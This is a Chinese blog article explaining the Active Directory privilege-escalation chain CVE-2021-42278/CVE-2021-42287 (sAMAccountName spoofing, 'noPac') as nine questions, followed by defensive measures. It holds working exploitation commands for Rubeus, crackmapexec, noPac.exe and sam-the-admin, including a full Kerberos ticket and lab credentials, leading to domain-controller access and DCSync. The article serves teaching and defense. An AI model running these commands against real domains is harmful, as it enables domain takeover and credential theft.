sAMAccountName Spoofing之九个为什么

Louisnie 2022-07-22 10:48:00

一、起因:

在2021年11月份,Microsoft发布了两个域内提权漏洞CVE-2021-42287和CVE-2021-42278,但因为POC未公开,也没有引发关注,后来12月份这两个漏洞的利用方式被一一放出,引发了很多windows域安全研究者的关注,这两个漏洞可以进行组合攻击,在获取到域内普通用户权限的情况下模拟成域控机器账号,从而拿到域控权限。

之前我本人做过漏洞复现,但研究原理一直拖到了现在,实在是抱歉,刚好趁着这阵子研究一下漏洞原理:这个本地提权漏洞是两个漏洞的组合拳,首先先利用了CVE-2021-42278 漏洞解决了一个安全绕过漏洞,这个漏洞可以允许攻击者使用计算机账号 sAMAccountName来欺骗冒充域控,CVE-2021-42287漏洞则是解决了Kerberos特权属性证书(PAC),并且有个逻辑漏洞会在查找不到用户时在其sAMAccountName后加入$继续查询,从而到导致攻击者可以成功利用并且模拟域控从而达到提权的目的。

二:原理分析:

看标题大家也知道,这里是一个问为什么的课堂,为什么要这么做?其他做法行不行呢?这次我把攻击流程整理起来,来一起问一下为什么要这么做?从而去了解这个漏洞的原理:

根据挖掘这个漏洞作者的文章我整理了一下其攻击流程:

1、创建机器账号,清除该机器的servicePrincipalName

2、将创建的机器账号的sAMAccountName更改为域控的主机名,注意后面不带$符号---->CVE-2021-42278

3、为创建的机器账号申请TGT

4、修改创建的机器账号的sAMAccountName为其原先的值(随便命名均可)

5、使用之前获取到的TGT向域控发起S4U2Self请求服务票据---->CVE-2021-42287

6、使用获取到的票据访问到域控主机,后续便可以DCSync获取到域内hash。

第一问:什么是sAMAccountName?

听这个漏洞的名字,我们就可以得知是sAMAccountName欺骗,那么先了解一下什么是sAMAccountName:

在Active Directory 域中每一个用户即是一个对象,每个对象都具有各种各样的属性,其中就包括姓名,创建时间,邮箱地址等关于这个用户的信息,而每个域用户的用户名对应的属性值便为userPrincipalName 和 sAMAccountName 。那为什么是两个呢?因为在Windows 2000之前使用的用户名是sAMAccountName,则在Windows 2000之后出现了新的属性UserPrincipalName(缩写UPN),它也可以用来登陆到AD域主机上,这两个现在都可以作为登陆用户名使用。我们可以连接ldap进行查看域用户haha的sAMAccountName值为haha,平时常使用域名\用户名的格式,UserPrincipalName值为haha@test.com为用户名@域名的格式。
image.png
根据挖掘这个漏洞作者的思路来说:首先我们需要创建一个机器账号,默认情况下普通域用户可以创建10个域机器账号,对应的是域内MachineAccountQuota (MAQ) 属性。
get-addomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota' | select -exp ms-DS-MachineAccountQuota
image.png

那么便有了新的问题:

第二问:为什么这里需要一个机器账号,而不是一个普通域用户?

这里我理解的是因为我们手动创建了域机器账号,便对该机器账号有WriteProperty权限
image.png
那么便可以操作修改该机器账号的sAMAccountName,从而达到欺骗域控的目的。如果是普通用户行不行呢?答案还是不行的,原因在这个大佬写的文章中从XP源码泄露看NoPac漏洞
在攻击流程的第一步后半段写的是要清除机器账号的spn,那么第三个问题来了

第三问:为什么要清除机器账号的spn?

首先我们要知道,当机器账号创建时便默认携带了spn,具体可以通过连接LDAP服务进行查看
image.png

而默认在域内只有机器账户或者域管账户才有权限注册SPN。

回到我们的问题:为什么要清理创建的机器账号的spn?

原因在于如果修改了 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 这其中的一个,那么SPN将会使用新值替换,要是修改了samAccountName为域控的主机名,那么其SPN将会变成域控的SPN,便会导致后续的S4U请求异常,故要清除掉默认的SPN。

第二步说要修改创建的机器账号的sAMAccountName更改为域控的主机名,注意这里不加$,那么第四个问题便油然而生:

第四问:为什么修改创建的机器账号的sAMAccountName时不能加$符号呢?

我们都知道在域内区别域用户和域机器账号,其sAMAccountName最大的区别在于最后是否有$,有$为机器账号,没有则为域用户
haha用户的sAMAccountName:
image.png

win2008机器账户的sAMAccountName:
image.png
这里就涉及到CVE-2021-42287漏洞了,后面有讲

那如果创建了个机器账号,然后将其sAMAccountName修改为域控的主机名,后面不带$,那么这里就有了新的问题:

第五问:你这么改,域控他老人家会愿意吗?有没有什么限制?

说实话还真没限制,因为域用户对其创建的域机器账号有写权限,便可以修改其为任意值,只要满足sAMAccountName的格式就行,并且KDC那边没有限制,所以这里便有了CVE-2021-42278漏洞,可以通过实践来证明:
image.png
接下来便可以使用创建的机器账号申请Kerberos TGT
这里又有了个问题:当我们把目标机器账号的sAMAccountName修改为DC的主机名之后,那么这里申请的TGT会不会是DC的TGT呢?

第六问:申请的TGT是不是DC的呢?

这个问题就很简单了,那答案肯定就不是的呢,域控只会将该机器账号生成一个专属于该机器账号的TGT
操作命令为:
.\Rubeus.exe asktgt /user:"DC" /password:"www123456#" /domain:"test.com" /dc:"dc.test.com" /nowrap
image.png

由此可证明该TGT为机器账号的TGT并非域控DC的
image.png

那么问题又来了,这个漏洞其实作用不大,只是改了机器账号的sAMAccountName值域控的主机名,申请到的还是自己的TGT,那就可以低危收场了。但接下来由于配合了CVE-2021-42287漏洞,从而将漏洞等级直线提升,接下来慢慢讲。

当我们把第四步执行完,即修改创建的机器账号的sAMAccountName为其原先的值,在第五步将使用之前获取到的TGT向域控发起S4U2Self请求服务票据,这里就设计到一个KDC的漏洞---CVE-2021-42287,当我们使用S4U为机器账号申请ST票据时,因为域内没有sAMAccountName值为DC的账号,那么KDC找不到的时候,会尝试在sAMAccountName后加上$符号,那么域控就明白了,原来是DC$(即域控的机器账号)来申请票据呢,因为KDC便把域控机器账号的票据给了请求者,那么请求者便可以申请访问域控主机的cifs票据了,或者直接申请个ldap票据,进行dcsync操作,这里也回答了第四问的问题,由此,该漏洞便被提升到了顶端。

第七问:当KDC验证用户提交的S4U请求时,怎么不验证账号密码或者用户权限呢?

原因在于kerberos协议就是个无状态的协议,何为无状态的协议?就是个HTTP认证一样,不会去验证你之前的请求是否正确,只要有所需的数据即可跳过之前的认证。
接下来便是请求ST票据的过程了,我这里申请的是cifs票据
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.test.com" /dc:"dc.test.com" /ptt /ticket:doIEhjCCBIKgAwIBBaEDAgEWooIDrTCCA6lhggOlMIIDoaADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA20wggNpoAMCARKhAwIBAqKCA1sEggNXoz29uDX6ZX0H1L+gMS3+GrCkJmk0cchvc1/FRt95/3nAm37RZjUQDI8e/jajXVh4YkfpxSaF+8WCiasvOClWElotS0s8iGCmUiN/r124P7zEGaGnPBXFEmfmYhRicblSHPVdELMDRF4J/5C5xLMDvGfpZtP2bY2oYUdh8ZsGW1XDIvsH913bw9fg1cQNOvA6SG9d/8Au8adDBnJyEXeZ+WTKzV/atVBcn3gIzyeJeU9L0Z0qvwqGH7HAxMFMajxdLz11P4du7bIo3HCG7XYR3Vo9MRoawcMzajIl+Zu2dORdm2bZ42hDuUsXMu7HSFC4s6zlpCQLHRIqE5f/e2JlqcewsCSr9l6/vnd9yVZmC41hslHgR5vOt8GRzkszMmE/lIyWMdmFjmS6a6wiBHe6AAfSoC1651lqzFc2pNZZFRhs9bkHCscg9vuBjtfGk4MiQiy2MEeF9KwYhzHIsdF9DNQV0gVxg3DRoNLZM+PU6/wlBHhxlGsO7fZeIXpCN97Q8gcfRHcQs3Ra8elphMc0fr4RF5D6saTZOSvB2TCIh7uA/dNcvq4enXy7WW0cgnE8xi9AThoLg1eAltsvdoM4EvGqZCknoaNbqh177Mk3ieaKO1vW+9b0RxgO2DDbCGPYbPdfo9l3SXCPTU2r9g5GnhtiwTwZj6g5QFGLr6+x5gNNvdIeqRfQFWJ2L7YqPzYvNeyfejrAbhm9It3L+5x2jJENInbimWMKyUoDeuAqqkpVBQLKp5SGcRuPt/iDtrm39CSwjEkLurUnukfI4YfQOAWYyzUzFHozcsyqlWCngB5P8iu+KTCSc8KNduDRsMj9i6cHZRwqNmhp3JSGdaY1c0FjuF6CmB0LwR0aEpJOm2OopKCLOBM/qcJ/dfTbKsoeBw9JR2v/3yr4t8TrSQrK2abGkyc4zaps7D7qiAIj/lwcb7CgjBNpBp00rmxHzMBCJ11sY4zGI1V6qtzmbal7vxbUCTePq5+kUMX3GTXUKij64Yc2op/eZI667gI5yGBnZXWOM/CBRu240V3YtLzGufN+zdRmHAP6Q/NRhrZC6dENdPesnGSddBIjXpDtH64lDwEimaNw2/6XjZGubgndnWSEiAS/Hxx/O6IqZjEyQs5yCU79IIYWo4HEMIHBoAMCAQCigbkEgbZ9gbMwgbCgga0wgaowgaegGzAZoAMCARehEgQQeK78RFtWUOHIuxDkLZTKp6EKGwhURVNULkNPTaIPMA2gAwIBAaEGMAQbAkRDowcDBQBA4QAApREYDzIwMjIwNzE5MDgyMjQ0WqYRGA8yMDIyMDcxOTE4MjI0NFqnERgPMjAyMjA3MjYwODIyNDRaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbQ==
image.png

第八问:为什么我们这里要是有S4U2Self来请求呢?

细心的朋友应该能注意到我们在使用Rubeus的时候,添加了参数/self表示使用S4U2Self来请求,这里来讲一下为什么要这么做:

我们在使用机器账号申请TGT时是没有PAC的,其中的PAC就是个用户凭证,当KDC拿到PAC之后会去解密,获取用户的sid,以及所在组,然后在判断用户是否有访问该服务的权限,有哪些权限,并且PAC对应用户和服务全程都是不可见的并且是进行了签名,其他人无法篡改,只有KDC才能制作和查看。那么回到刚刚的问题上,S4U2Self有个特性,当KDC在校验S4U2Self请求合法后,它会根据S4U2Self模拟用户生成一个该用户的PAC,从而便能请求到具体的服务。

第九问:如果进入域内发现MAQ等于0,我们该怎么办呢?

放弃漏洞or继续深入?

当然得继续深入了,我们刚刚了解到当MAQ为0时便不能创建机器账号,也不能改对应的属性,那么我们能不能去寻找一些能修改已存在的机器账号的用户?在学习基于资源型的约束委派时,我们得知将机器拉入域中的账号,默认便对该机器有WriteProperty,那么便可以去查找域内存在mS-DS-CreatorSID的机器账号,然后对应找到目标用户,在拿到其权限后便可修改机器账号属性,从而实现该漏洞的利用。

三、漏洞利用:

在想要利用漏洞时,我习惯的是先去做漏洞扫描,然后在去利用,那么扫描也有两个情况:在目标主机上扫描和远程连接扫描,其实更推荐远程扫描,这样不至于触发告警

远程扫描:

crackmapexec当初号称是网络渗透的瑞士军刀,其功能也是十分的强大,也集成了该漏洞的扫描,使用账号密码进行连接-M指定nopac即可远程扫描:

crackmapexec smb 域控ip -u 'haha' -p 'www123456#' -d test.com -M nopac crackmapexec smb 192.168.189.128 -u 'haha' -p 'www123456#' -d test.com -M nopac
image.png

使用nopac.py进行扫描

https://github.com/knightswd/NoPacScan
image.png

本地扫描:

使用noPac进行扫描

https://github.com/cube0x0/noPac 用法: .\noPac.exe scan -domain test.com -user haha -pass "www123456#"
image.png

Linux下利用:

使用工具sam-the-admin一条龙:

https://github.com/WazeHell/sam-the-admin

但是使用的时候需要注意一下作者在131行和133行使用的这两个工具默认系统没有安装
image.png

如果安装了impacket之后,替换为python3 /usr/local/bin/smbexec.py和python3 /usr/local/bin/secretsdump.py即可

python3 sam_the_admin.py "test.com/haha:www123456#" -dc-ip 192.168.189.128 -shell
image.png

彩蛋:

这里如果我们将任意一台机器的sAMAccountName改为域控的主机名,那么这个漏洞就无法成功运行了,是个很有意思的情况,原因就在于在域内sAMAccountName是唯一的,不能重复,如果我们创建一个新的机器账号,并且将其sAMAccountName改为域控的主机名,那么就能简单的起到防御攻击者使用该漏洞去攻击的行为。
操作如下:
image.png

接下来执行的时候脚本便会提示目标已打补丁,原因就在于sAMAccountName是唯一的,很有意思的发现。
image.png

Windows下利用:

使用noPac来进行攻击:

https://github.com/cube0x0/noPac .\noPac.exe -domain test.com -user haha -pass "www123456#" /dc dc.test.com /mAccount hahapc /mPassword www123456# /service cifs /ptt 注: mAccount为机器账号名 mPassword为机器账号密码

image.png
image.png

四、漏洞防御:

  1. 安装微软的补丁 KB5008602和KB5008380
  2. 修改AD域的MachineAccountQuota的属性值为0,但若属性值为0,也可以寻找mS-DS-CreatorSID来绕过。
  3. 使用我们彩蛋的方法,创建一个机器账号,将其samAccountName改为DC的主机名。
  4. 查找域内具有无效SamAccountName属性的任何计算机帐户
    Get-ADComputer -Filter { samAccountName -notlike "*$" }
    image.png

参考:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.hackingarticles.in/windows-privilege-escalation-samaccountname-spoofing/
https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
https://lonmar.cn/2021/12/23/no-pac-analysis/
https://www.bupaqiang.com/webaq/479.html

评论

Louisnie

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

数据分析与机器学习 文章:12 篇
Web安全 文章:248 篇
Exploit 文章:40 篇
渗透测试 文章:154 篇
逻辑漏洞 文章:15 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

草莓

收藏一下,目前见过最全的资料了

Y4tacker

Ps:纠错不是每个环境都是那样,之前很多时候/proc/self这些都可以,但是

苦咖啡

感谢大佬分享 863558996@qq.com

m1yuu

H

HaCky

stomppe 这部分有点问题,和官方文档有出入,文档中介绍开启这项功能,则会混

目录